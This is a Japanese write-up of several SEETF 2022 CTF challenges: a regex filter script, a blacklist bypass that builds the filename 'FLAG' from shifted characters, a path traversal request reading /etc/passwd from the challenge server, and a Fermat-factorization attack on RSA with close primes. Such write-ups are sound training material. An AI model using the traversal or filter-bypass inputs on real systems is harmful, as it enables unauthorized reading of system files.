SEETF 2022 Writeup

この大会は2022/6/4 1:00(JST)~2022/6/6 1:00(JST)に開催されました。
今回もチームで参戦。結果は500点で740チーム中296位でした。
自分で解けた問題をWriteupとして書いておきます。

Join our Discord (MISC)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグの前半が書いてあった。

SEE{1_h4v3_s33n_th3_rul3z

さらに#faqチャネルのメッセージを見ると、フラグの後半が書いてあった。

_4nd_f4qs_65543d8b7c5e83c17d99d9020fe000f7}
SEE{1_h4v3_s33n_th3_rul3z_4nd_f4qs_65543d8b7c5e83c17d99d9020fe000f7}

Regex101 (MISC)

フラグのSEE{}の中が英大文字5文字、数字5文字、使用していない英大文字6文字という構成になっているものを探す。

#!/usr/bin/env python3
from string import *

with open('flags.txt', 'r') as f:
    flags = f.read().splitlines()

for flag in flags:
    if not flag.startswith('SEE{'):
        continue
    if not flag.endswith('}'):
        continue
    in_flag = flag[4:-1]

    ng = False
    used = []
    for i in range(5):
        if in_flag[i] not in ascii_uppercase:
            ng = True
            break
        used.append(in_flag[i])
    if ng:
        continue

    for i in range(5, 10):
        if in_flag[i] not in digits:
            ng = True
            break
    if ng:
        continue

    for i in range(10, 16):
        if in_flag[i] in ascii_uppercase:
            if in_flag[i] in used:
                ng = True
                break
        else:
            ng = True
            break
    if ng:
        continue

    print(flag)
SEE{RGSXG13841KLWIUO}

Wayyang.py (PWN)

"FLAG"の各文字を使わずにファイル名として"FLAG"を構成する必要がある。文字をシフトして指定する。

$ nc fun.chall.seetf.sg 50008
                 ,#####,
                 #_   _#
                 |a` `a|
                 |  u  |            ________________________
                 \  =  /           |        WAYYANG         |
                 |\___/|           <     TERMINAL  v1.0     |
        ___ ____/:     :\____ ___  |________________________|
      .'   `.-===-\   /-===-.`   '.
     /      .-"""""-.-"""""-.      \
    /'             =:=             '\
  .'  ' .:    o   -=:=-   o    :. '  `.
  (.'   /'. '-.....-'-.....-' .'\   '.)
  /' ._/   ".     --:--     ."   \_. '\
 |  .'|      ".  ---:---  ."      |'.  |
 |  : |       |  ---:---  |       | :  |
  \ : |       |_____._____|       | : /
  /   (       |----|------|       )   \
 /... .|      |    |      |      |. ...\
|::::/'' jgs /     |       \     ''\::::|
'""""       /'    .L_      `\       """"'
           /'-.,__/` `\__..-'\
          ;      /     \      ;
          :     /       \     |
          |    /         \.   |
          |`../           |  ,/
          ( _ )           |  _)
          |   |           |   |
          |___|           \___|
          :===|            |==|
           \  /            |__|
           /\/\           /"""`8.__
           |oo|           \__.//___)
           |==|
           \__/
What would you like to do today?
1. Weather
2. Time
3. Tiktok of the day
4. Read straits times
5. Get flag
6. Exit
>> 4
which news article you want babe :)   ''.join([chr(ord(c) - 2) for c in 'HNCI'])
SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}
SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}

Sourceless Guessy Web (Baby Flag) (WEB)

http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../etc/passwdにアクセスしてみる。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r}
SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r}

Close Enough (CRYPTO)

RSA暗号。p, qの値が近いので、Fermat法で素因数分解して復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

c = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017

with open('key', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e

p, q = fermat(n)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
SEE{i_love_really_secure_algorithms_b5c0b187fe309af0f4d35982fd961d7e}